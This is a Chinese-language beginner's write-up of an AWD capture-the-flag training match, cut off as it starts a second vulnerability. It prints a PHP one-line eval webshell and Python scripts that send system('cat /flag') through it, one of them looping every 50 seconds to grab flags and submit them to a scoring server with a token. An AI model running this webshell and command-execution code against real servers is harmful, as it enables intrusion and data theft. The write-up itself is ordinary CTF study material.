寒假在家,老师组织了AWD训练赛,还是实战出真知,感觉比赛的学习效率是真的高。做个小总结。
也是刚入门,欢迎大佬斧正。
漏洞1:webshell.php
第一个漏洞是后门的,是一句话木马。
<?php @eval($_POST['moxiaoxi']) ?>
很简单,没有什么难度,可以直接菜刀,但是菜刀不能批量自动化获取flag。所以,尝试着写脚本。
import requests
url="http:127.0.0.1"
shell='/webshell.php'
passwd="moxiaoxi"
port='8081'
payload={
"moxiaoxi":"system('cat /flag');"
}
url1=url+':'+port+shell
#print(url1)
response=requests.post(url1,payload,timeout=3)
print(response.text)
也可以直接自动化提交。后来有参考了大佬的脚本,改成了可以自动提交的,有点乱,看下思路凑合把(狗头保命)。
import requests
import time
url="http:127.0.0.1"
shell='/webshell.php'
passwd="moxiaoxi"
port='8081'
payload={
"moxiaoxi":"system('cat /flag');"
}
url1=url+':'+port+shell
def up_flag(flag_str):#提交flag
headers = {
}
print(headers)
cookies = {
'UM_distinctid': '16fa6e4c4bf175-0678e737cc08938-4c322d7e-144000-16fa6e4c4c02c6',
'CNZZDATA5082706': 'cnzz_eid%3D1753167733-1579049037-%26ntime%3D1579054437'
}
url_flag = 'http://47.114.48.65:9090/'
data = {
'token': 'd23014055f809da3115dd43960fd750c'}
data['flag'] = flag_str
try:
r = requests.post(url=url_flag, data=data, timeout=3, headers=headers, cookies=cookies)
r_ii = re.findall("hulla.send(.*?);</script>", r.text)#提取回显
print(r_ii)#查看提交是否成功
except:
pass
while(1):
response=requests.post(url1,payload,timeout=3)
flag=response.text
up_flag(flag)
time.sleep(50)#50秒获取并提交一次
漏洞2:文件包含+报错日志一句话木马
这个是看着大佬之前的讲解做的。看源码分析:
<?php
require_once("library/common.php");//有loadFile()方法
require_once("library/view.php");//有echoContent()方法
$view_class